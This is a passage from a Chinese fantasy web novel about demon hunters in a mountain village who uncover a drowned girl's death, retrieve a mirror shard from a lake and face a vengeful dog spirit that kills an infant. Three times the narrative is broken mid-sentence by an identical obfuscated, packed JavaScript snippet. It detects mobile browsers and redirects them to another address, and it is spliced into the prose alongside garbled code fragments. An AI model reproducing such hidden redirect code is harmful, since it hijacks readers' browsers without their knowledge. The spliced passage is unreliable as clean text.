“不是。”宋璋冷冷道,似乎颇为不快。 “怎么会?我看人很准的,你们两个一看就很般配,而且这孩子都有了,娘子是和魏郎君闹脾气了吗?” “没有,我和他不熟,姑娘还是不要随意揣度他人之间的关系为好。”说完,宋璋便进了阿芳说的那间房间,关上了门。 嘭得一声,阿芳讪讪的,又很疑惑:“我说错了吗?不是夫妻为什么要走在一块儿,魏郎君还扶着宋娘子的手,你们还带着一个孩子。” 李裕笑着看了魏无笙一眼,“不是走在一起就是夫妻的,他扶她只是因为她的腿受伤了。阿芳姑娘说话还是小心些,我们是无所谓,那位娘子可不是好相与的。” “不是......”“不是怎么能碰姑娘的手,还跟着你们一路走......”阿芳皱了皱眉头,“我阿公说男女授受不亲,只有未婚夫妻或者夫妻才能呆在一块儿手拉手的。” “阿芳姑娘你多大了?”李裕闻言笑了,这姑娘怎么呆呆傻傻的,看着不太灵光的样子。 “我...今年十六了。”阿芳敏锐地察觉到李裕笑中的嘲笑,有些不快地看着他,“别以为我什么都不懂,我都定亲了,明明是你们这些外地人不专情,你们不好,还笑我们。村子里的人从来不会这样。” 李裕撇了撇嘴,村子里村子里,这村子里都是大好人不成?这穷乡僻壤的,迷信又封闭。 魏无笙道:“姑娘别见怪,其实你猜的不错,阿璋她和已有婚约,只是近来惹她不快,所以如此。” 阿芳闻言满意地笑了笑,“我就说嘛,你们肯定是恋人没错。来这里的都是一对儿一对儿,捉妖师也不例外。” “魏郎君,这个给你。”阿芳说着从柜子里拿出了半袋糖糕,“你拿这个给宋娘子,她肯定就原谅你了,我们家阿平每次来给我带糖糕我都可高兴了。” 阿芳一面将东西交到他手上一面推他进房间,又替他敲了门,“宋娘子,魏郎君有东西要给你,你开开门吧。” 宋璋打开了门,莫名其妙地扫了众人一眼:手里拿着纸袋的魏无笙,抱臂看戏的李裕牵着一脸困意的浩儿,还有一脸兴奋的阿芳。 “做什么?” “走了这么久也饿了,吃点糖糕吧。”魏无笙笑意盈盈,让她觉得反胃。 门再度要关上的时候,阿芳一个箭步抵住,将魏无笙推了进去,而后笑嘻嘻地背抵在门外。李裕脸上的神色更怪异了,这姑娘脑袋是真的有点毛病吧?看着不太像正常人。而且三郎又是闹哪样? 浩儿打了个哈欠,牵动了李裕的手,他看了一眼浩儿,对阿芳道:“我们先回去了,姑娘你也早点休息吧。” 看着门外阿芳的影子,宋璋皱着眉头看着魏无笙,“你还不走?” 魏无笙嘘了一声,低声道,“等一会儿。” “你先别生气,尝尝这白糖糕。”他声音骤然放大,那道影子似乎颤动了一会儿,而后才离开了这里。 “人走了,可以说话了?”宋璋坐在了桌上,就着茶水吃了一块糖糕,她的确是饿了。 魏无笙道,“你不觉得这村子里有些古怪?或者说这个村长和阿芳都怪怪的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400424|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋璋想了想,“是个半熟儿吧。” “不只是,总之我总觉得他们不对劲。你今天过去的时候看到那湖了吗?湖水不深,那姑娘却淹死了,脚踝处有一圈擦伤,像是在脚上绑了什么东西。” “你的意思是有人杀了她?” 魏无笙道,“很有可能,不过也可能是自杀。如果是他杀,将她按到水里不到片刻就能让她窒息而亡,不必大费周章在脚下绑石头。” 宋璋点点头,“你说到投湖时那村长回得牛头不对马嘴,一直重复他们村里有多好,村民有多幸福,不可能投湖。” “我猜那女子怕自己挣扎,在脚下绑了石头,这种大石头得用粗壮些的绳索才吊的住,在水中也不易挣扎开。她救上来的时候却什么也没有,应该是有人把绳子解开扔了,不想让人发现她是自杀。” “不管是什么,这姑娘的死都必定有不为人知的内情,而且村长想隐瞒这件事,难道他是凶手?” 宋璋道,“也不对,如果是他做的,不会要我们留下来调查。”她越想越觉得不对劲,“这村里的人怎么都这么奇怪? “明日再看吧,等明天再去那湖里,我倒要看看是不是真的有妖作祟。” 魏无笙一边说一边啃着糖糕,宋璋道,“说完了,出去吧,我要睡觉了。” 魏无笙没有要走的意思,转而从床上抱过一床被子,铺在了地上。 宋璋坐在桌前看着他,“你做什么?” “这几日恐怕你我都得待在一块。” “理由?” “一种直觉。关于那个阿芳的直觉,或许她会是一个突破口,我们先顺着她的意思和她相处着,看能不能问出点什么。” 宋璋冷笑,“你是想勾引我吧,找这种烂借口。” 魏无笙用手大力铺平着被子上的褶皱,闻言又要搬起另一床铺着的棉被,宋璋见状扶着桌子弹了起来拦住了他。 “你把被子都拿走了我睡什么?” 魏无笙笑中带了几分嘲讽,“你现在头脑发昏,我想让夜风吹一吹,冷一冷,或许你会清醒点。” 她当然没真的认为魏无笙想在这时候勾引她,只是她并不想和他待在一个屋子里睡觉。 她冷冷瞪着他,把他手里的被子扯向自己怀里,却被他死死抓住。 “你要我配合你演戏,不应该自己解决?” “我本也想怜香惜玉,奈何某人太过自恋,怕你被自己的自信冲昏头脑。” “给我——”她咬牙看着他,使劲却怎么也拉不动。 魏无笙看她整个人都向后倾斜着,脚下发出摩擦之声,却扯不动分毫,这场面有些好笑。他恶趣味地猛然使劲,只稍一用力,她腿上一痛,整个人便向前跌了过去。 首先是膝盖砸到地上,而后是腿上一痛,额头撞在一块硬邦邦的骨头上。魏无笙倒吸一口凉气,摸着自己的胸骨。 “就你这点儿力气和我抢东西……” 他一边说着一面看宋璋,见她低着头维持着原来的姿势不动,吞回了口里的话。 “你怎么了?”魏无笙试图扶起面前的人,却被她猛地甩开手。 “我忘了你腿摔着了。”他有些不自在地说,一面低下头来去看藏在垂落鬓发下的那张脸。鼻头有些发红,眉头紧紧拧在一起。 “滚。”她重重推他的时候他瞥见了她的眼睛,双目发红,莹莹水光潋滟,不过是带着怒气的光。 他默了默,心里有点儿不舒服,强行将她抱起放在床上,而后将被子扔了回去。真脆弱,他如是想着,宋璋的身体真脆弱。他翻了个身,想到她方才低头忍痛的样子,有些烦躁。 “吵死了。” 不耐的声音从背后传来,他停止了翻身,鼻子里发出一声气音,他也烦死了。 很快只剩下青蛙鸣叫的声音,更衬得长夜寂静。明明几乎没有声音,但她立刻警觉地感觉到有人在移动,越来越近,越来越近。是魏无笙。 她将手伸进枕边,抓住了那枚银簪。 他钻进了帘帐,掀开她的裙摆,正要坐起来将银簪刺过去的时候,腿上传来一阵清凉的感觉,接着温热的大掌覆上了她的皮肤。 鼻尖是刺激的膏药味,清凉穿脑,身体感知到的却是轻重适宜的揉搓和微热的柔软。 她几乎屏住了呼吸,皱着眉头怔愣了许久。但腿上传来的舒适的感觉让她没有开口,握着簪子的掌心松了松,她在这危险的舒适中紧绷着,渐渐也放松了警惕,不知何时沉沉睡去。 他本想试着将她腿上的扭伤也治好,但此刻也放弃了这打算,他一边揉着,一边盯着她,尽管看不清楚,他也这么定定地看着,脑中仿佛自然地能勾勒出她的面容。 神情虽看不清,但紧皱的眉头在暗夜中也能依稀察觉。她明明的确已经睡着,他确信是在他靠近的时候自然醒转。 睡眠很浅,警惕性极强。 他也不知道自己在想什么,盯着她出了好一会儿神,直到自己手臂酸疼,她的眉头依然皱着,没有彻底松开。 梦里也在防备他吗?他蓦地伸出了手,呼吸羽毛一样在手臂内侧摇动,快要在她眉间落下时他猛地收回了手。 深吸了一口气,走回了自己的睡处。这回轮到他皱紧眉头。君子慎独,君子不欺暗室,这些圣贤之言果然不错。暗夜遮蔽光明,失去理智,灵心乱,行事荒……他刚才都做了些什么蠢事? 48. 石娘台 第二天一早,魏无笙等人聚在一处吃饭,阿芳一见了他们便笑着问道,“宋娘子,你和魏郎君和好了吗?” 宋璋正要夹远处的菜便见魏无笙用自己的筷子夹到了她碗里,她想起魏无笙昨夜的话,咽下了那口吃食,对阿芳点了点头。“算是吧。” 又是一筷子糖糕,宋璋皱了皱眉,忍不住要去给魏无笙一个警告,她说差不多得了。她最讨厌吃这种甜腻腻的东西了。 托腮看着他们的阿芳感觉到宋璋并不那么高兴,怎么会呢?白糖糕没有用吗?还是魏郎君把糖糕偷吃了,没分给宋娘子!这怎么能行呢?夫妻之间是不可以吵架的。 如是想着,阿芳便忽然放下碗筷将宋璋的头一按,一边拉过魏无笙的衣袖将两人的脸贴在一块儿。宋璋猛不妨被撞了个包,一面感受到魏无笙温热的皮肤,让她不由得蹙起了眉毛。 “阿芳姑娘,你……” “阿芳,快住手!” 一个年轻男子走了进来,脚下鞋子带着泥点,似乎是从外面刚回来。就在宋璋揣测他是谁的时候,阿芳放开了手,显得很高兴地朝他扑了过去。 “阿平,你回来了!你昨天去哪儿了,一晚上没回来。” 那个叫阿平的男子似乎有些不好意思,一脸不自在地将阿芳的手扯了下来,身子往后仰倒避免着阿芳的接触。 “再过几日就到了石娘台解封的日子,阿公让我去和他们商量一下今年石娘由哪家姑娘扮。” 说到此,阿芳撅起了嘴,“年年演石娘都是别人,阿公从来不让我演,我知道你们都嫌我笨,怕我给你们丢人。” 阿平眼中闪过一丝暗光,“怎么会呢,阿公最疼你了。” “那为什么不让我演石娘?” “阿公思虑周全,肯定是有别的原因……”阿平安慰着对阿芳笑了笑。 一旁喝粥的李裕好奇道,“什么演石娘?你们还排了戏么?” “因为女娲娘娘神迹光顾的传闻,每年都会有许多人来山里买长情石,由于人太多村子一是住不下二是承接不了这么多人,所以大伙儿就约定好每年四月中开山,只有这段时间外村人能上山看石娘买长情石。 旅人太多,村里为了招待好客人,也安排了三天三夜的表演,让村里的姑娘小郎演出石娘石公的爱情故事。” “原来是这样,那你们村的人还挺聪明的嘛。”李裕想,那老头看着古版不太聪明,于赚钱一事上可不含糊。听阿芳说,村里每户人家几乎都会多辟几间屋子,打扫干净,为的就是等开山日接待旅人,赚点住宿银子。 “对了,还没问这位小郎如何称呼?” 阿芳闻言颇为自得道,“他叫何平,是我刚成亲不久的夫君。” “原来是何郎君,快坐下一起吃饭吧。”李裕众人都和他打了声招呼,何平道,“大家不必客气,和阿芳一样叫我阿平就是。” 阿芳虽傻,何平却很正常,从谈话中得知何平的父母在他还在襁褓时就去世了,他靠在雇主家帮忙耕田为生,因为生得好看,被阿芳看中。因为阿芳半熟的条件,村长倒也很乐意有这么个人嫁进家里,替他照顾阿芳。 宋璋想,难怪这么一个俊俏郎君能和傻阿芳成亲,原来是有利可图。 何平虽然和阿芳成亲不久,却很快地肩负起了家里的大小事务,替阿公接手了许多事。 “我回来时听说村中来了几位捉妖师,恕我冒昧,诸位…真的能捉妖?” 何平的怀疑让李裕有些不满,“你这种问题是第三次问我了。” 何平忙道,“我不是那个意思,我是说除了妖,别的魔物,精怪,鬼魂之类你们也能捉?” 李裕想了想,“别的……应该收不了吧,反正我们这几十年是从来没收过。” “怎么,你觉得湖里不是妖?” “不,我也不知道,只是有些好奇。” 魏无笙道,“先去看看吧,也不一定就是妖怪。” 何平本要代替村长带他们去湖边,村长却对此事很上心,推了事情和他们一道过去查看。 李裕拿出玉笛在湖面轻轻划过,试探了一番。他闭上眼,凝聚全身五感于笛尖,渐渐没入水底…… 平静的湖面下暗流涌动,水波幽幽撞击着笛身,咕噜咕噜~咕噜咕噜~ 越来越黑了,有样东西在下面,它努力伸长了身子往下探去,好像是…… 锃得一下,李裕浑身一颤,睁开了眼。 村长问,“怎么样,看到妖了吗?” 李裕愣了愣而后道,“的确是有妖。” “我就说这湖里有妖,已经害死许多人了,师父今日可一定要把它彻底除掉,让大家伙儿也都安心过日子啊。” 何平似有些不相信,“李郎君真的看到妖了他…长什么样子?” 李裕道,“一只水妖,是个头发像海藻一样长的女人。许是因失足落水故而身上怨气很重。” “那快请师父作法除妖吧。” “好。” 只见李裕将玉笛拿出,在一张空白的符纸上画了些什么,而后将它扔进了水里。不一会儿便见水面金光闪闪,一阵漩涡在中心浮现将那符纸吞了进去,而后又砰地一声飞出,炸开一阵水柱。 水面渐归平静,村长伸长脖子看着水面,又回过头对李裕道,“如何?” 李裕笑道,“放心吧,妖孽已除,我方才用符咒将它在水下斩杀,此刻它已神形俱灭了。” “多谢李师父。”村长松了一口气,露出了笑容,“诸位辛苦了,阿平啊,你去买点好酒好菜,好好招待诸位师父。” 宋璋的腿伤还没好全,只是堪堪可以扶着墙根走路,还是一瘸一拐的。村长陪他们吃过中饭后便又去忙着准备半月后的开山事宜,招待的事就落到了阿平头上。 阿平替他们找来了大夫替宋璋正骨,而后开了些药方。 “除了喝药之外,多吃些滋补之物,牛羊肉之类的,好的更快些。” 阿平送走大夫,“我明日去街上买只羊来,大家吃肉喝汤。” 魏无笙道,“不必劳烦了,我们叨扰许久,明日便要走了。” 阿芳似有些舍不得,“这么快?不多呆些日子吗?”家里平日没人陪她玩儿,他们走了,又剩她一个人了。 魏无笙正要说话,李裕却暗暗碰了他,他看了一眼李裕,又听何平道,“是啊,各位多呆些日子吧,一只羊太多,你们走了都吃不完了。还有村里正在排的石娘戏,过段时间开了山,便是人挤人地看,诸位师父现在去看倒方便许多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413689|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李裕道,“石娘戏啊,我听说演的不错,我们明日去看看吧。宋娘子的脚伤也没好,大夫说了伤筋动骨一百天,还是再修养一日再出发也不迟。” 阿平和阿芳见他应了下来,似乎很高兴,“你们放心,我们这里唱了十多年的戏,一定不会叫你们失望的。” 阿平阿芳走后,魏无笙诸人关上了门,围坐在宋璋的院子里。魏无笙道,“你今天在湖边用的汲水符怎么回事?” 骗骗别人也就罢了,他明白地看见他用了汲水符弄出一副大阵仗,实则根本没有杀妖。 “而且…到底有没有妖?” 李裕道,“我的确感知到了湖底的异常,应当是有妖在那里,不过更重要的……” 他看了一眼门窗,确保门外无人,继而压低了声音道:“我在那里感知到了神镜碎片的气息。” 魏无笙目光一动,李裕道,“那湖里的妖其实能量很强,只是有一股更大的力量压制住了他,就是这碎片,这片湖就是碎片一角。 如果要拿到碎片,湖底那只妖就会立刻摆脱桎梏逃跑出来。” 魏无笙若有所思道,“所以……” “所以我白天只是应付那老头一下,那面镜子我们必须拿到。至于那妖,我施法拿镜子的同时,你守好在旁边,它必然会涌出水面,你看见那妖便立刻将它收进锁妖袋里。” “好,那什么时候去?” “今晚,等他们都睡了。” 宋璋打了个哈欠,“那你们去吧,我就不凑这个热闹了。” 李裕看着趴在桌上已快睡着的浩儿,耸耸肩,“正好你看着浩儿,别让他乱跑,我们拿到钥匙就走。” 魏无笙和李裕来到湖边,李裕划破指尖将血低在笛间,瞬时那笛子便发出淡淡的莹润的光芒。他持笛脚尖一点跃入了湖心,起了一阵术势之后,便见那原本水润的湖面渐渐结冰,水停止了流动,水纹渐渐抹平,那薄薄的一层巨大的湖面冰逐渐缩小缩小再缩小,银光一闪,落到了李裕手中。 他面色一喜,还没来得及高兴太久,下一瞬便见一道影子嗖得一下窜了出来,他立刻看向了魏无笙,“三郎,快!” 魏无笙一边念着李裕交给他的咒术,一边打开捉妖袋朝那湖面甩去。小小的布袋立刻扩张膨胀笼罩在了湖面之上。 李裕点点头,“总算拿到了……” 然而下一瞬,那东西却径直穿过了收妖袋,蹭得一下没影了。 李裕目瞪口呆,魏无笙亦愣在了湖边。 刚刚那只妖是穿透了收妖袋? 收妖袋回到了李裕手边,他细细地检查了一边,除了有些微灼烧的痕迹之外,并无破绽。“刚刚那妖是……” 竟然能穿透收妖袋而毫发无损,他们这是放跑了什么样的一只大妖啊? “不是妖。” “什么?” 魏无笙道,“刚刚那个跑出去的不是妖,而是怨灵。” 怨灵,因死前怨气深重不可脱,执念太深不可除而产生。是鬼非人,是魂非妖,因而收妖袋对它毫无作用。 他们放跑了怨灵,这下完了,可不好收场了。 看见李裕难看的脸色,魏无笙道,“怕什么?兵来将挡水来土掩,何况它好容易跑出来,应该不敢作乱。” 49. 石娘台 深夜,鸣蛙喧闹,沉闷噪响。宋璋醒来时出了一身汗,轻手轻脚下了床,灌了一大碗茶水。 她走出门在门外坐了一会儿,抬头望去。大片的云朵在月光的映照下格外醒目。 它其实是银白色的。乌黑厚重的云因背后那轮皎洁的月散发的圣辉而透出白。黑与白、明与暗,激烈冲撞,看似圣洁神秘的银辉,实则是黑的挣扎、愤怒,白的压制、印染。一旦月光堕落,光明消失,压抑已久的黑便如深潭巨浪,翻涌而出,带着狂风暴雨席卷而来。 滴——滴—— 额上传来的冰凉让她转移了目光。要下雨了,明日还能走得了吗? 她起身要回房,却在转角处看见了一个熟悉的身影——是何平。她没打算和他寒暄,他也似乎很紧张,并没注意到她的目光,动作的幅度不大,却能感受到他在四处打量,而后飞快地离开了此地。 地上留下了深褐色的几个脚印和几片杂草。她觉得有些眼熟,这草...是石山上的,这么晚了,他去石山做什么?而且魏无笙他们也去了石山,难道他发现了什么? 魏无笙回来时宋璋房中的灯还没有灭,这让他有些诧异。 “有什么事么?” “你们走之后何平好像跟过去了。” 何平?魏无笙道:“我没有看见他。” “如果他发现你们是去拿神镜碎片,恐怕我们会有麻烦,那只妖你捉到了么?” “它跑了,而且不是妖,是死人的怨灵。”魏无笙想了想,“你把浩儿叫醒,我去叫李裕,我们现在就走。” 虽说他不怕这些村民,但毕竟他们是人,他和李裕的这些术法只能用在妖怪身上,随意用在人身上会遭受反噬。多一事不如少一事,东西已经拿到,剩下的就和他们没关系了。 宋璋也是这么想,她走到床前正要将浩儿叫醒,忽然听见一声尖利的惨叫从隔壁传来。 窗子一扇扇亮起来了,狂风暴雨并没能压制住人们声嘶力竭的哭嚎,反而随着闪电雷鸣越来越大,越来越重,似乎要将天地劈开。 小小的脑袋缺了半块儿骨头,鲜红的血流干之后淌出粉红肥嫩的脑肠,蟹黄色的组织,青蓝的隐隐的筋脉…… 他的母亲抱着他,满脸满身的血,她的心脏和婴儿的身体紧挨着,却再也感受不到同频的跳动——他的身体被剜了一个大洞,胸骨被利齿咬破,叼走心脏后几乎成了一座地狱的空牢。鲜红的涌出的血,便是火山岩浆,从牙山中蹦跶而出,灼烫着在场每一个人。 村长看见那血注蔓延到脚下,渗透进鞋底时不由得狠狠颤动了一下,险些摔倒。 那父亲也失了理智,哭得双眼红肿,“不知道哪儿来的豺狼,人还在屋里就敢纵进摇篮里把我儿开膛破肚,头都咬掉了半块。是哪里来的狼啊!天杀的!我造了什么孽啊!” 那抱着孩子的妇人眼神呆滞,嗓音已经沙哑:“怪我,都是我,是我睡得太熟,这么大一头狼咬我的儿,我竟然一点儿也没听见。我该死,我该死啊!老天怎么不收了我,偏来咬我的儿!老天呐——” 阿芳害怕得拉起了何平的衣袖,一边缩着往他身边拱了拱。“有狼,狼吃人……那狼抓到了吗?抓不到的话,它还会过来吃我的吧。” 何平看了她一眼,安抚性地拍了拍她的背,村长牵住了阿芳的手,“阿芳别怕,阿公在呢,阿公会把门关紧,绝不让它进来。” 阿芳点了点头,村长踉跄着上前了几步,这才看清楚了婴儿的惨状,那巨大的血窟窿和地狱山在那一瞬仿佛化成一对尖利的爪牙带着深红粘腻的唾液向他张开巨口。 熟悉的回忆涌上心头,往事一幕幕在眼前浮现,这伤口…这伤口不是狼!是它,它回来了! “不怪你们,是那只狗妖,狗妖又来了!” 老人看向了村长,形容枯槁,带着绝望,“阿力啊,它又来了!” “什么狗妖?” 李裕有些心虚,他记得那个一晃而过的影子好像正是一条狗的身形,它没跑,反而这么快就出来害人了。 不,认真说起来它也不是妖,它不是怨灵吗?一条狗成了怨灵,这村子里的人是把它怎样残忍地杀害了? “李师父,你不是说已经把那妖怪杀了吗?现在怎么会发生这种事?” 当着众人,李裕面不改色道,“我的确是杀了呀,现在这只妖…或许是另一只。”他继而将话题抛给了村长,“你们村怎么这么多妖?而且你当时一口咬定让我除水妖,现在出现的又是狗妖,我倒还想问你们呢。” 魏无笙道,“他的意思是每个符咒都有对应的效用,如果村长对我们有所隐瞒,除妖的效果也是会大打折扣的。” 村长闻言看了看盯着他的众人,叹了口气,“当年村子里许多疯狗咬人,为了防止村里人再受伤,大家就纷纷买毒药狗。其中就包括这条狗的小狗崽,后来它修成了妖身,为了报复我们,每到夜里就四处害人,专吃孩子。不知为什么,它现在又出现了!” “李师父,魏师父,你们有办法抓住它吗?” 看着村长期待的目光,魏无笙道,“我们也只能试一试。” “一切就拜托二位了。” “所以我们现在不走了?”回去的路上,宋璋低声问道。 “走。”魏无笙道,“我看那村长反复无常,嘴里没一句实话,你记得当时李裕胡诌问他湖里是不是长发水妖,他说是。犬妖出现他毫不惊奇,第一反应是质问我们为什么没有除掉妖孽。” 魏无笙的意思不言而喻,他们当然知道放跑的就是水里那只妖,可是村长不应该知道。 他们当然知道放跑的就是水里那只妖,可是村长不该知道。 “都是妖,水妖和犬妖有什么区别呢?何必隐瞒这一点?” “现在怎么办?”李裕问。 “东西都拿到了,继续赶路吧,在这里耽搁已经够久了。” “你们不能走。”村长不知何时拦在了他们面前,“是你们说妖孽已除,现在村里却发生这种事。何况之前那么多年它都没出来过,只有你们那天丢了那个符咒之后它就出来作恶伤人,一定是你们用错了咒法把它放出来了。” “老人家,明明是你跟我们说是一只水妖,我才用了压制水妖的符咒。谁知道它蹦出来是一只狗啊!你不相信我们不说实话我还没质问你呢,还想把我们继续留在这破地方,告诉你,我们还有大事儿呢,没空听你胡说八道。” “我不管,这事是你起的头,就得你来结尾,不把这事解决休想走出这个村。” 村长一拐杖打在李裕身上,颇有种无赖的意思,何平见状在一旁劝说:“阿公,算了,我看他们也是真不知道怎么办了。这犬妖看着厉害,要不然我明日出门一趟去找新的厉害些的捉妖师来。” “你让开!轮不着你插嘴,我话放在这,不把那妖除掉你们别想走。” “嘿,你这老头不讲理是吧,好声好气跟你说不听,我......” 李裕挽袖子的那一瞬看见许多村民从家里走了出来,靠拢在村长背后,声音弱了下去,“行,算你狠。” 为了方便看管,李裕几人被关在了一间屋子里。村民们夜晚加强了巡查,将屋子里外墙加高,房顶墙头都插上了碎瓦片,连续两个夜晚,村中亮如白昼。 “哎,走不走?”李裕对魏无笙道。要打开这把锁对他们来说并不难。 魏无笙道,“外面有人看守。” “这么晚了,早都睡了。别看灯亮着,都瞌睡着呢。” 说话间,李裕拿出一张符纸,它顺着门缝溜了出去,而后啪嗒一声,外面的锁掉了下来。 李裕先走出门看了一眼四周,“没人,走吧。” 术法在这里不能使用,四个人就这么鬼鬼祟祟地从厢房穿过磨房走到了院门。 “汪——汪——” 拴在磨房边的狗猛地叫了起来,惊得李裕心中一颤,“嘘嘘!别叫,别叫!” 他手忙脚乱地试图阻止,一边又加快脚步要跑出门。 “旺财,别吵了。” 狗叫终于停息,可是这让李裕更加僵硬了,来的人是何平,他还是被吵醒了。 然而让他们意外的是,何平替他们打开了院子门。 李裕站在原地怔怔看着他,有些警惕。 何平道,“你们快走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433803|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,从王婶家过走喇叭花那条道出去,那儿人少,说着路直走就能出去了。” “你放我们走不怕妖怪再来你们村里?” “不过是只魁梧些的猎狗,我们这么多人不怕它。阿公年纪大了,总迷信鬼神之说,把诸位关在这里实在是抱歉。” 李裕本想说那可不是普通的猎狗,的确是妖,可想了想倒也作罢。多一事不如少一事,再说这老头也实在讨厌。 “那就多谢你了,有缘再见。” 李裕等人正要离开,忽听一声犬吠又似狼叫,月光被一只巨影遮蔽,霎时全村的火光熄灭,众人陷入一片黑暗的惊恐之中。 惊叫害怕的声音在村庄各处此起彼伏,浩儿抓紧了李裕的手,扑在他怀里。宋璋的心也扑通扑通跳了起来。 忽而,她看见一双血红的眼睛在她身前亮起,她怔怔地倒退了一步,撞在一个宽大的怀抱里,一双手扶在了她双臂上。 正当魏无笙拿出剑准备与它搏斗时却见它纵身一跃,跳入了院子里最东边的主屋。 李裕道了一声不好,“它往阿芳和村长那边去了!” 现下碰见这事儿不管也得管了,他和魏无笙对视一眼,魏无笙走前不忘对她道, “你跟浩儿去西屋等着,千万别出来。” 魏无笙丢给她一张结阵符,便跟着李裕跑向了东屋。 阿芳正在睡梦中,忽然听见一声恐怖的嘶鸣,隔着帐子,一对宝石似的眼珠子隐隐闪烁着血光。 她本欲伸出帐外的手颤颤巍巍缩了回去,大气不敢喘,默默地往靠墙的最里面缩去。 然而这种极小幅度的移动也是徒劳,那只巨大的猎犬已经看清了里面的状况,张开大牙嘶吼着朝她扑了过去。 “救命!啊啊啊——” 阿芳惊恐地看见阿公手臂上一块肉生生被那猎犬咬了下来,露出了里面的白骨,很快白骨又被血水浸染。 “阿公!”阿芳大哭起来,又害怕又心疼。 “别伤害她,都是我的错,你有什么就冲我来,你要吃就吃了我吧。” 村长面色惨白,仍打起精神拦在了女孩的面前,一双苍老的眼睛一眨不眨地盯着那猎犬。 报应啊,报应,早知如此,当初就不该如此随意地用自己那半吊子咒术封印它,他就该找个厉害些的捉妖师杀了它,一了百了,以绝后患。 看到他的那一刻,大狗眼中骤然升起了浓烈的恨意,然而却移开了目光,坚定地朝着他身后扑过去。 “阿芳!”村长被一爪扫下床,眼睁睁看着那大狗张开獠牙利爪朝阿芳扑过去,心几乎凉了半截。 就在此时,一柄长剑直冲猎犬而来,锃得一声插进了它脑中,穿喉而过。它猛烈地尖叫着,最后一声气绝,爪子还是张开要抓人的模样。 看着方才还凶猛的黑色身体此刻一动不动,眼神失去了光彩,村长的那颗心猛地坠了下来,长松了一口气。忙爬起来把阿芳揽到怀里,“阿芳没事吧?” 劫后余生,阿芳张开嘴大声哭了起来。 “别怕别怕,孩子,阿公在,阿公保护你。” 何平等人随后进来时看见这一幕怔了怔,尤其是何平,神色僵硬,脚上也像木偶上了发条一般,十分僵硬。 “它这是……死了?” “这条大狗是死了。”魏无笙一面说,一面拔出了他的剑,他觉得何平的脸色有点奇怪,不像是劫后余生,也不像是恐惧,而像是……失望? “你好像不太高兴。” 何平道,“我只是不敢相信,万一它再来……” “应该是不会了。”李裕道,“一会儿我给你们发几张符咒,可以防身用。” 还没等何平去学习如何使用,便听村长抬起头道:“阿平,走吧。” 阿平愣了愣,“什么?” “今晚收拾东西,我送你出村。”村长道, 何平道,“为什么?您怎么突然说这些?” “你们别管这么多,照做就是。我明天叫车带你和阿芳走,钱和地契也都给你们带走,离开这里,你到底去不去?” 何平想了想,点点头,“多谢阿公。”